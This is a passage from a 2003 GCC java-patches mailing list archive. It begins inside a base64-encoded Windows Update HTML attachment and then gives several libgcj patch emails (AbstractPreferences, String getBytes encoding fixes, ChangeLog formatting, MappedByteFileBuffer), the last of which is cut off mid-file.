U0VUIFJPV1M9MTAwJT4iKTsNCiBpZihsb2NhdGlvbi5zZWFyY2ggPT0gIiIgfHwgbG9jYXRp b24uc2VhcmNoID09IG51bGwpDQogew0KIGRvY3VtZW50LndyaXRlKCI8RlJBTUUgU1JDPVwi c2NyaXB0cy9yZWRpci5kbGw/XCI+Iik7DQogfQ0KIGVsc2UNCiB7DQogZG9jdW1lbnQud3Jp dGUoIjxGUkFNRSBTUkM9XCJSODgwL1YzMXNpdGUvZGVmYXVsdC5odG0iICsgbG9jYXRpb24u c2VhcmNoICsgIlwiPiIpOw0KIH0NCglkb2N1bWVudC53cml0ZSgiPC9GUkFNRVNFVD4iKTsN Cglkb2N1bWVudC5jbG9zZSgpOw0KCS8qIC0tPiAqLw0KIDwvU2NyaXB0Pg0KPC9IRUFEPg0K PE5PRlJBTUVTPllvdSBoYXZlIHRyaWVkIHRvIHZpc2l0IFdpbmRvd3MgVXBkYXRlIHdpdGgg YSBicm93c2VyIHRoYXQgZG9lcyBub3Qgc3VwcG9ydCBGcmFtZXMgb3IgQWN0aXZlWCYjMTc0 OyB0ZWNobm9sb2d5LiBUbyBsZWFybiBtb3JlIGFib3V0IGJyb3dzZXJzIHRoYXQgZG8gc3Vw cG9ydCB0aGVzZSB0ZWNobm9sb2dpZXMsIHBsZWFzZSB2aXNpdCB0aGUgPEEgSFJFRj0iaHR0 cDovL21pY3Jvc29mdC5jb20vd2luZG93cy9pZSI+PEI+TWljcm9zb2Z0PC9iPjwvYT4gV2Vi IHNpdGUuPC9OT0ZSQU1FUz4NCjxOT1NDUklQVD4NCjxGT05UIEZBQ0U9IlZlcmRhbmEsIEFy aWFsLCBIZWx2ZXRpY2EiIFNJWkU9IjMiPg0KPHA+DQo8Rk9OVCBjb2xvcj0jMDAwMDgwIGZh Y2U9IiIgc2l6ZT01PldpbmRvd3MgVXBkYXRlPC9GT05UPiBpcyB0aGUgb25saW5lIGV4dGVu c2lvbiBvZiBXaW5kb3dzIHRoYXQgaGVscHMgeW91IGdldCB0aGUgbW9zdCBvdXQgb2YgeW91 ciBjb21wdXRlci4NCjwvcD4NCjxwPg0KV2luZG93cyBVcGRhdGUgdXNlcyBBY3RpdmVYIENv bnRyb2xzIGFuZCBhY3RpdmUgc2NyaXB0aW5nIHRvIGRpc3BsYXkgY29udGVudCBjb3JyZWN0 bHkgYW5kIHRvIGRldGVybWluZSB3aGljaCB1cGRhdGVzIGFwcGx5IHRvIHlvdXIgY29tcHV0 ZXIuDQo8L3A+DQo8cD4NCjxiPlRvIHZpZXcgYW5kIGRvd25sb2FkIHVwZGF0ZXMgZm9yIHlv dXIgY29tcHV0ZXIsIHlvdXIgSW50ZXJuZXQgRXhwbG9yZXIgc2VjdXJpdHkgc2V0dGluZ3Mg bXVzdCBtZWV0IHRoZSBmb2xsb3dpbmcgcmVxdWlyZW1lbnRzOjwvYj4NCjx1bD4NCjxsaT5T ZWN1cml0eSBtdXN0IGJlIHNldCB0byBtZWRpdW0gb3IgbG93ZXINCjxsaT5BY3RpdmUgc2Ny aXB0aW5nIG11c3QgYmUgc2V0IHRvIGVuYWJsZWQNCjxsaT5UaGUgZG93bmxvYWQgYW5kIGlu aXRpYWxpemF0aW9uIG9mIEFjdGl2ZVggQ29udHJvbHMgbXVzdCBiZSBzZXQgdG8gZW5hYmxl ZA0KPC91bD4NCjxiPk5vdGU8Yj4gVGhlc2UgYXJlIGRlZmF1bHQgc2V0dGluZ3MgZm9yIElu dGVybmV0IEV4cGxvcmVyLg0KPC9wPg0KPHA+DQo8Yj5UbyBjaGVjayB5b3VyIEludGVybmV0 IEV4cGxvcmVyIHNlY3VyaXR5IHNldHRpbmdzPC9iPg0KPG9sPg0KPGxpPk9uIHRoZSBUb29s cyBtZW51IGluIEludGVybmV0IEV4cGxvcmVyLCBjbGljayA8Yj5JbnRlcm5ldCBPcHRpb25z PC9iPi4NCjxsaT5DbGljayB0aGUgPGI+U2VjdXJpdHk8L2I+IHRhYi4NCjxsaT5DbGljayB0 aGUgSW50ZXJuZXQgaWNvbiwgYW5kIHRoZW4gY2xpY2sgPGI+Q3VzdG9tIExldmVsPC9iPi4N CjxsaT5NYWtlIHN1cmUgdGhlIGZvbGxvd2luZyBzZXR0aW5ncyBhcmUgc2V0IHRvIEVuYWJs ZSBvciBQcm9tcHQ6DQoJPHVsPg0KIDxsaT5Eb3dubG9hZCBzaWduZWQgQWN0aXZlWCBDb250 cm9scw0KIDxsaT5SdW4gQWN0aXZlWCBDb250cm9scyBhbmQgcGx1Zy1pbnMNCiA8bGk+U2Ny aXB0IEFjdGl2ZVggQ29udHJvbHMgbWFya2VkIHNhZmUgZm9yIHNjcmlwdGluZw0KIDxsaT5B Y3RpdmUgc2NyaXB0aW5nDQoJPC91bD4NCjwvbGk+DQo8L29sPg0KPC9wPg0KPENFTlRFUj4N CjxBIEhSRUY9Imh0dHA6Ly93d3cubWljcm9zb2Z0LmNvbS9taXNjL2NweXJpZ2h0Lmh0bSIg dGFyZ2V0PV90b3A+PEZPTlQgY29sb3I9ICMwMDMxOUM+KGMpIDIwMDEgTWljcm9zb2Z0IENv cnBvcmF0aW9uLiBBbGwgcmlnaHRzIHJlc2VydmVkLiBUZXJtcyBvZiBVc2U8L0ZPTlQ+PC9B Pi48QlI+DQo8L0NFTlRFUj4NCjwvRk9OVD4NCjwvTk9TQ1JJUFQ+DQo8L0hUTUw+DQ=9 --T8M536VLD4D300QX7-- From java-patches-return-6271-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Feb 24 21:19:35 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 17796 invoked by alias); 24 Feb 2003 21:19:34 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 17788 invoked from network); 24 Feb 2003 21:19:34 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 24 Feb 2003 21:19:34 -0000 Received: from fleche.redhat.com (te0194.peakpeak.com [204.144.238.194]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id OAA26979; Mon, 24 Feb 2003 14:19:32 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 4B31E4F828E; Mon, 24 Feb 2003 14:11:37 -0700 (MST) To: java-patches@gcc.gnu.org Subject: Patch: FYI: classpath mergelet From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Disco oil bussing will create a throbbing naugahide pipeline running straight to the tropics from the rug producing regions and devalue the dollar! Date: 24 Feb 2003 14:11:37 -0700 Message-ID: <87heatv0xi.fsf@fleche.redhat.com> Lines: 48 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii I'm checking this in on the trunk. This is a minor change I'm bringing over from classpath. Tom Index: ChangeLog from Tom Tromey * java/util/prefs/AbstractPreferences.java (isUserNode): Implemented. Index: java/util/prefs/AbstractPreferences.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/util/prefs/AbstractPreferences.java,v retrieving revision 1.1 diff -u -r1.1 AbstractPreferences.java --- java/util/prefs/AbstractPreferences.java 13 Feb 2003 07:45:58 -0000 1.1 +++ java/util/prefs/AbstractPreferences.java 24 Feb 2003 21:18:50 -0000 @@ -1,5 +1,5 @@ /* AbstractPreferences - Partial implementation of a Preference node - Copyright (C) 2001 Free Software Foundation, Inc. + Copyright (C) 2001, 2003 Free Software Foundation, Inc. This file is part of GNU Classpath. @@ -51,8 +51,6 @@ /** * Partial implementation of a Preference node. * - * Methods that still need to be implemented are isUserNode(), XXX - * * @since 1.4 * @author Mark Wielaard (mark@klomp.org) */ @@ -158,7 +156,12 @@ * Returns true if this node comes from the user preferences tree, false * if it comes from the system preferences tree. */ - abstract public boolean isUserNode(); + public boolean isUserNode() { + AbstractPreferences root = this; + while (root.parent != null) + root = root.parent; + return root == Preferences.userRoot(); + } /** * Returns the name of this preferences node. The name of the node cannot From java-patches-return-6272-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Feb 25 01:39:42 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 8277 invoked by alias); 25 Feb 2003 01:39:42 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 8269 invoked from network); 25 Feb 2003 01:39:41 -0000 Received: from unknown (HELO nescio.wildebeest.org) (62.108.28.95) by 172.16.49.205 with SMTP; 25 Feb 2003 01:39:41 -0000 Received: from elsschot.wildebeest.org ([192.168.1.26] ident=mark) by nescio.wildebeest.org with esmtp (Exim 3.35 #1 (Debian)) id 18nU3f-0005Q8-00; Tue, 25 Feb 2003 02:38:59 +0100 Subject: Re: Partial fix for libgcj/9802 From: Mark Wielaard To: James Clark Cc: java-patches@gcc.gnu.org, Jesse Rosenstock In-Reply-To: <1046041940.3352.975.camel@elsschot> References: <1045937012.3332.605.camel@elsschot> <3E581152.4030507@jclark.com> <1046041940.3352.975.camel@elsschot> Content-Type: multipart/mixed; boundary="=-R7UEOqEovmA4hKplOSKN" Organization: Message-Id: <1046137159.3364.99.camel@elsschot> Mime-Version: 1.0 Date: 25 Feb 2003 02:39:22 +0100 --=-R7UEOqEovmA4hKplOSKN Content-Type: text/plain Content-Transfer-Encoding: 7bit Hi, On Mon, 2003-02-24 at 00:12, Mark Wielaard wrote: > On Sun, 2003-02-23 at 01:09, James Clark wrote: > > Also I think there's scope for improvement in String::getBytes. With > > your change we have > > [...] > > Now in the case where todo == 0 && converter->bytes_todo > 0, > > converter->write will return 0, thus causing buffer to be gratuitously > > reallocated. How about this instead? > > > > while (todo > 0 || converter->bytes_todo > 0) > > { > > converter->setOutput(buffer, bufpos); > > int converted = converter->write(this, offset, todo, NULL); > > if (converted == 0 && bufpos == converter->count) > > { > > buflen *= 2; > > jbyteArray newbuffer = JvNewByteArray(buflen); > > memcpy (elements (newbuffer), elements (buffer), bufpos); > > buffer = newbuffer; > > } > > else > > bufpos = converter->count > > offset += converted; > > todo -= converted; > > } > > Looks good, but I would use your newly introduced hasPendingBytes() > which seems a little bit more robust. But which is wrong since it tests if the encoder has some internal state not if it returned 0 since no more output could be written. The original (bufpos == converter->count) was correct since it tests whether the buffer is actually so full that no progress could be made. Attached is the corrected patch. I have removed my name from the ChangeLog entry since clearly James Clark did all the thinking and I just messed it up :) Cheers, Mark --=-R7UEOqEovmA4hKplOSKN Content-Disposition: inline; filename=convert_3.patch Content-Type: text/x-patch; name=convert_3.patch; charset=ISO-8859-15 Content-Transfer-Encoding: 7bit Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1731 diff -u -r1.1731 ChangeLog --- ChangeLog 24 Feb 2003 02:15:42 -0000 1.1731 +++ ChangeLog 25 Feb 2003 01:01:08 -0000 @@ -1,3 +1,14 @@ +2002-02-23 James Clark + + Fix for PR libgcj/8738: + * gnu/gcj/convert/UnicodeToBytes.java (havePendingByes): New method. + * gnu/gcj/convert/Output_SJIS.java (havePendingByes): Likewise. + * gnu/gcj/convert/Output_EUCJIS.java (havePendingByes): Likewise. + * gnu/gcj/convert/Output_UTF8.java (havePendingByes): Likewise. + (write): Always decrease avail when count is increased. + * java/lang/natString.cc (getByes): Check converter havePendingBytes() + and whether output buffer is full before increasing size. + 2003-02-23 Tom Tromey * Makefile.in: Rebuilt. Index: java/lang/natString.cc =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/lang/natString.cc,v retrieving revision 1.27 diff -u -r1.27 natString.cc --- java/lang/natString.cc 13 Jun 2002 18:16:26 -0000 1.27 +++ java/lang/natString.cc 25 Feb 2003 01:01:08 -0000 @@ -1,6 +1,6 @@ // natString.cc - Implementation of java.lang.String native methods. -/* Copyright (C) 1998, 1999, 2000, 2001, 2002 Free Software Foundation +/* Copyright (C) 1998, 1999, 2000, 2001, 2002, 2003 Free Software Foundation This file is part of libgcj. @@ -586,12 +586,11 @@ jint offset = 0; gnu::gcj::convert::UnicodeToBytes *converter = gnu::gcj::convert::UnicodeToBytes::getEncoder(enc); - while (todo > 0) + while (todo > 0 || converter->havePendingBytes()) { converter->setOutput(buffer, bufpos); int converted = converter->write(this, offset, todo, NULL); - bufpos = converter->count; - if (converted == 0) + if (converted == 0 && bufpos == converter->count) { buflen *= 2; jbyteArray newbuffer = JvNewByteArray(buflen); @@ -599,10 +598,10 @@ buffer = newbuffer; } else - { - offset += converted; - todo -= converted; - } + bufpos = converter->count; + + offset += converted; + todo -= converted; } converter->done (); if (bufpos == buflen) Index: gnu/gcj/convert/Output_EUCJIS.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/gnu/gcj/convert/Output_EUCJIS.java,v retrieving revision 1.3 diff -u -r1.3 Output_EUCJIS.java --- gnu/gcj/convert/Output_EUCJIS.java 7 Mar 2000 19:55:24 -0000 1.3 +++ gnu/gcj/convert/Output_EUCJIS.java 25 Feb 2003 01:01:08 -0000 @@ -1,4 +1,4 @@ -/* Copyright (C) 1999 Free Software Foundation +/* Copyright (C) 1999, 2003 Free Software Foundation This file is part of libgcj. @@ -21,6 +21,11 @@ public native int write (char[] inbuffer, int inpos, int inlength); public native int write (String str, int inpos, int inlength, char[] work); + + public boolean havePendingBytes() + { + return pending1 >= 0; + } int pending1 = -1; int pending2; Index: gnu/gcj/convert/Output_SJIS.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/gnu/gcj/convert/Output_SJIS.java,v retrieving revision 1.3 diff -u -r1.3 Output_SJIS.java --- gnu/gcj/convert/Output_SJIS.java 7 Mar 2000 19:55:24 -0000 1.3 +++ gnu/gcj/convert/Output_SJIS.java 25 Feb 2003 01:01:08 -0000 @@ -1,4 +1,4 @@ -/* Copyright (C) 1999 Free Software Foundation +/* Copyright (C) 1999, 2003 Free Software Foundation This file is part of libgcj. @@ -21,6 +21,11 @@ public native int write (char[] inbuffer, int inpos, int inlength); public native int write (String str, int inpos, int inlength, char[] work); + + public boolean havePendingBytes() + { + return pending >= 0; + } int pending = -1; } Index: gnu/gcj/convert/Output_UTF8.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/gnu/gcj/convert/Output_UTF8.java,v retrieving revision 1.6 diff -u -r1.6 Output_UTF8.java --- gnu/gcj/convert/Output_UTF8.java 8 Aug 2000 17:35:32 -0000 1.6 +++ gnu/gcj/convert/Output_UTF8.java 25 Feb 2003 01:01:08 -0000 @@ -1,4 +1,4 @@ -/* Copyright (C) 1999, 2000 Free Software Foundation +/* Copyright (C) 1999, 2000, 2003 Free Software Foundation This file is part of libgcj. @@ -104,6 +104,7 @@ { value = (hi_part - 0xD800) * 0x400 + (ch - 0xDC00) + 0x10000; buf[count++] = (byte) (0xF0 | (value >> 18)); + avail--; bytes_todo = 3; hi_part = 0; } @@ -118,4 +119,10 @@ } return inpos - start_pos; } + + public boolean havePendingBytes() + { + return bytes_todo > 0; + } + } Index: gnu/gcj/convert/UnicodeToBytes.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/gnu/gcj/convert/UnicodeToBytes.java,v retrieving revision 1.9 diff -u -r1.9 UnicodeToBytes.java --- gnu/gcj/convert/UnicodeToBytes.java 18 Aug 2001 03:56:01 -0000 1.9 +++ gnu/gcj/convert/UnicodeToBytes.java 25 Feb 2003 01:01:08 -0000 @@ -1,4 +1,4 @@ -/* Copyright (C) 1999, 2000, 2001 Free Software Foundation +/* Copyright (C) 1999, 2000, 2001, 2003 Free Software Foundation This file is part of libgcj. @@ -144,6 +144,17 @@ int srcEnd = inpos + (inlength > work.length ? work.length : inlength); str.getChars(inpos, srcEnd, work, 0); return write(work, 0, srcEnd - inpos); + } + + /** + * Returns true when the converter has consumed some bytes that are + * not yet converted to characters because further continuation + * bytes are needed. Defaults to false, should be overridden by + * decoders that internally store some bytes. + */ + public boolean havePendingBytes() + { + return false; } /** Indicate that the converter is resuable. --=-R7UEOqEovmA4hKplOSKN-- From java-patches-return-6273-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Feb 25 05:14:08 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 31625 invoked by alias); 25 Feb 2003 05:14:07 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 31618 invoked from network); 25 Feb 2003 05:14:06 -0000 Received: from unknown (HELO hotmail.com) (64.4.20.117) by 172.16.49.205 with SMTP; 25 Feb 2003 05:14:06 -0000 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Mon, 24 Feb 2003 21:14:06 -0800 X-Originating-IP: [148.87.1.171] Reply-To: "Ranjit Mathew" From: "Ranjit Mathew" To: , References: Subject: Re: Patch for Preview: Win32 Process Implementation Date: Tue, 25 Feb 2003 10:45:58 +0530 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1123 Message-ID: X-OriginalArrivalTime: 25 Feb 2003 05:14:06.0176 (UTC) FILETIME=[B815BE00:01C2DC8C] > >As mentioned earlier, since we want to make Tom's life easier > >while dealing with our patches, we should submit them in a format > >that makes it easy for him to directly apply it from within his > >mailer: > > I had looked at your previous post, examined your most-recent > patch and also the source of clcleanup before posting this. > As far as I can tell, the patch I submitted contains tabs, > not spaces. If Tom has any trouble applying this, or if you > can point out why Tom would have trouble applying this, I > promise I'll redo the patch. Sorry, I was not talking about tabs v/s spaces and I was not asking you to resubmit your patch - I was just saying that the following embedded ChangeLog entry looked a bit less of work for Tom: ------------------------------- 8< ------------------------------- Index: ChangeLog from Mohan Embar * java/lang/natWin32Process.cc (java::lang::ConcreteProcess::startProcess): double-quote each program array element passed to CreateProcess ------------------------------- 8< ------------------------------- than the one in your patch. *However*, I realised that if your mail is passed through clcleanup first and then through cl2patch, one gets the correct patch. So it *should not* be a problem for Tom... Sorry for the noise... Ranjit. From java-patches-return-6274-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Feb 25 11:12:00 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 13104 invoked by alias); 25 Feb 2003 11:12:00 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 13095 invoked from network); 25 Feb 2003 11:11:59 -0000 Received: from unknown (HELO mail2.ewetel.de) (212.6.122.18) by 172.16.49.205 with SMTP; 25 Feb 2003 11:11:59 -0000 Received: from asterix.konqueror.de (dynadsl-080-228-67-193.ewetel.net [80.228.67.193]) by mail2.ewetel.de (8.12.1/8.12.1) with ESMTP id h1PBBvxG013093 for ; Tue, 25 Feb 2003 12:11:57 +0100 (MET) From: Michael Koch To: java-patches@gcc.gnu.org Subject: [PATCH] gnu.java.nio.MappedByteFileBuffer Date: Tue, 25 Feb 2003 12:12:11 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline Message-Id: <200302251212.14026.konqueror@gmx.de> X-CheckCompat: OK =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi, I commitedt the attached patch to trunk. It adds two new files. But=20 they will not be applied until Tom reviewed the mmap configure patch. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+W0+OWSOgCCdjSDsRAuXVAJ0c4XrF7G5D0PJnTGyyYe1NV58ZcgCfZkZ/ w96BKehtSXpyTcvYSno6S8U=3D =3DSdcc =2D----END PGP SIGNATURE----- From java-patches-return-6275-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Feb 25 11:12:46 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 13357 invoked by alias); 25 Feb 2003 11:12:46 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 13349 invoked from network); 25 Feb 2003 11:12:46 -0000 Received: from unknown (HELO mail0.ewetel.de) (212.6.122.12) by 172.16.49.205 with SMTP; 25 Feb 2003 11:12:46 -0000 Received: from asterix.konqueror.de (dynadsl-080-228-67-193.ewetel.net [80.228.67.193]) by mail0.ewetel.de (8.12.1/8.12.1) with ESMTP id h1PBChoc010224 for ; Tue, 25 Feb 2003 12:12:43 +0100 (MET) From: Michael Koch To: java-patches@gcc.gnu.org Subject: [PATCH] gnu.java.nio.MappedByteFileBuffer (with patch) Date: Tue, 25 Feb 2003 12:12:57 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Description: clearsigned data Content-Disposition: inline Content-Type: Multipart/Mixed; boundary="Boundary-00=_5+0W+2ahyrNGuhO" Message-Id: <200302251212.57075.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_5+0W+2ahyrNGuhO Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: 7bit Content-Description: clearsigned data Content-Disposition: inline -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi, I commitedt the attached patch to trunk. It adds two new files. But they will not be applied until Tom reviewed the mmap configure patch. Michael - -- Homepage: http://www.worldforge.org/ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+W0+5WSOgCCdjSDsRAoX3AKCUZ3M9gaL72pzBdpbIIFiM+9j5mQCfX8Df Qc6TY1gm+wDNVNmlsCqVe9w= =uEPV -----END PGP SIGNATURE----- --Boundary-00=_5+0W+2ahyrNGuhO Content-Type: text/x-diff; charset="iso-8859-15"; name="mapped.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="mapped.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1733 diff -u -r1.1733 ChangeLog --- ChangeLog 24 Feb 2003 21:20:18 -0000 1.1733 +++ ChangeLog 25 Feb 2003 11:08:07 -0000 @@ -1,3 +1,9 @@ +2003-02-25 Michael Koch + + * gnu/java/nio/MappedByteFileBuffer.java, + gnu/java/nio/natMappedByteFileBuffer.cc: + New files, both are not compiled yet to get not noncompiling CVS. + 2003-02-24 Tom Tromey * java/util/prefs/AbstractPreferences.java (isUserNode): Index: gnu/java/nio/MappedByteFileBuffer.java =================================================================== RCS file: gnu/java/nio/MappedByteFileBuffer.java diff -N gnu/java/nio/MappedByteFileBuffer.java --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ gnu/java/nio/MappedByteFileBuffer.java 25 Feb 2003 11:08:07 -0000 @@ -0,0 +1,426 @@ +/* MappedByteFileBuffer.java -- + Copyright (C) 2002 Free Software Foundation, Inc. + +This file is part of GNU Classpath. + +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ + +package gnu.java.nio; +import java.nio.*; +import java.io.IOException; + +final public class MappedByteFileBuffer + extends MappedByteBuffer +{ + public long address; + boolean readOnly; + boolean direct; + public FileChannelImpl ch; + + public MappedByteFileBuffer (FileChannelImpl ch) throws IOException + { + super ((int) ch.size (), (int) ch.size (), 0, -1); + + this.ch = ch; + address = ch.address; + try { + long si = ch.size() / 1; + limit((int)si); + } catch (IOException e) { + System.err.println("failed to get size of file-channel's file"); + } + } + + public MappedByteFileBuffer (MappedByteFileBuffer b) + { + // FIXME: fix last value + super (b.capacity (), b.limit (), b.position (), -1); + + this.readOnly = b.isReadOnly (); + this.ch = b.ch; + address = b.address; + limit (b.limit ()); + } + + public boolean isReadOnly () + { + return readOnly; + } + + public static native byte nio_read_Byte_file_channel (FileChannelImpl ch, + int index, int limit, + long address); + public static native void nio_write_Byte_file_channel (FileChannelImpl ch, + int index, int limit, + byte value, + long address); + public static native short nio_read_Short_file_channel (FileChannelImpl ch, + int index, int limit, + long address); + public static native void nio_write_Short_file_channel (FileChannelImpl ch, + int index, int limit, + short value, + long address); + public static native char nio_read_Char_file_channel (FileChannelImpl ch, + int index, int limit, + long address); + public static native void nio_write_Char_file_channel (FileChannelImpl ch, + int index, int limit, + char value, + long address); + public static native int nio_read_Int_file_channel (FileChannelImpl ch, + int index, int limit, + long address); + public static native void nio_write_Int_file_channel (FileChannelImpl ch, + int index, int limit, + int value, long address); + public static native long nio_read_Long_file_channel (FileChannelImpl ch, + int index, int limit, + long address); + public static native void nio_write_Long_file_channel (FileChannelImpl ch, + int index, int limit, + long value, + long address); + public static native float nio_read_Float_file_channel (FileChannelImpl ch, + int index, int limit, + long address); + public static native void nio_write_Float_file_channel (FileChannelImpl ch, + int index, int limit, + float value, + long address); + public static native double nio_read_Double_file_channel (FileChannelImpl ch, + int index, int limit, + long address); + public static native void nio_write_Double_file_channel (FileChannelImpl ch, + int index, int limit, + double value, + long address); + + final public byte get () + { + byte a = MappedByteFileBuffer.nio_read_Byte_file_channel (ch, position (), + limit (), address); + position (position () + 1); + return a; + } + + final public ByteBuffer put (byte b) + { + MappedByteFileBuffer.nio_write_Byte_file_channel (ch, position (), limit (), + b, address); + position (position () + 1); + return this; + } + + final public byte get (int index) + { + byte a = MappedByteFileBuffer.nio_read_Byte_file_channel (ch, index, + limit (), + address); + return a; + } + + final public ByteBuffer put (int index, byte b) + { + MappedByteFileBuffer.nio_write_Byte_file_channel (ch, index, limit (), b, + address); + return this; + } + + final public ByteBuffer compact () + { + return this; + } + + final public boolean isDirect () + { + return direct; + } + + final public ByteBuffer slice () + { + MappedByteFileBuffer A = new MappedByteFileBuffer (this); + return A; + } + + public ByteBuffer duplicate () + { + return new MappedByteFileBuffer (this); + } + + public ByteBuffer asReadOnlyBuffer () + { + MappedByteFileBuffer b = new MappedByteFileBuffer (this); + b.readOnly = true; + return b; + } + + final public ByteBuffer asByteBuffer () + { +// ByteBuffer res = new MappedByteFileBuffer (ch); +// res.limit ((limit () * 1) / 1); +// return res; + throw new Error ("not implemented"); + } + + final public byte getByte () + { + byte a = nio_read_Byte_file_channel (ch, position (), limit (), address); + position (position () + 1); + return a; + } + + final public ByteBuffer putByte (byte value) + { + nio_write_Byte_file_channel (ch, position (), limit (), value, address); + position (position () + 1); + return this; + } + + final public byte getByte (int index) + { + byte a = nio_read_Byte_file_channel (ch, index, limit(), address); + return a; + } + + final public ByteBuffer putByte (int index, byte value) + { + nio_write_Byte_file_channel (ch, index, limit (), value, address); + return this; + }; + + final public CharBuffer asCharBuffer () + { +// CharBuffer res = new MappedCharFileBuffer (ch); +// res.limit ((limit () * 1) / 2); +// return res; + throw new Error ("not implemented"); + } + + final public char getChar () + { + char a = nio_read_Char_file_channel (ch, position (), limit (), address); + position (position () + 1); + return a; + } + + final public ByteBuffer putChar (char value) + { + nio_write_Char_file_channel (ch, position (), limit (), value, address); + position (position () + 1); + return this; + } + + final public char getChar (int index) + { + char a = nio_read_Char_file_channel (ch, index, limit (), address); + return a; + } + + final public ByteBuffer putChar (int index, char value) + { + nio_write_Char_file_channel (ch, index, limit (), value, address); + return this; + }; + + final public ShortBuffer asShortBuffer () + { +// ShortBuffer res = new MappedShortFileBuffer (ch); +// res.limit ((limit () * 1) / 2); +// return res; + throw new Error ("not implemented"); + } + + final public short getShort () + { + short a = nio_read_Short_file_channel (ch, position (), limit (), address); + position (position () + 1); + return a; + } + + final public ByteBuffer putShort (short value) + { + nio_write_Short_file_channel (ch, position (), limit (), value, address); + position (position () + 1); + return this; + } + + final public short getShort (int index) + { + short a = nio_read_Short_file_channel (ch, index, limit (), address); + return a; + } + + final public ByteBuffer putShort (int index, short value) + { + nio_write_Short_file_channel (ch, index, limit (), value, address); + return this; + } + + final public IntBuffer asIntBuffer () + { +// IntBuffer res = new MappedIntFileBuffer (ch); +// res.limit ((limit () * 1) / 4); +// return res; + throw new Error ("not implemented"); + } + + final public int getInt () + { + int a = nio_read_Int_file_channel (ch, position (), limit (), address); + position (position () + 1); + return a; + } + + final public ByteBuffer putInt (int value) + { + nio_write_Int_file_channel (ch, position (), limit (), value, address); + position (position () + 1); + return this; + } + + final public int getInt (int index) + { + int a = nio_read_Int_file_channel (ch, index, limit (), + address); + return a; + 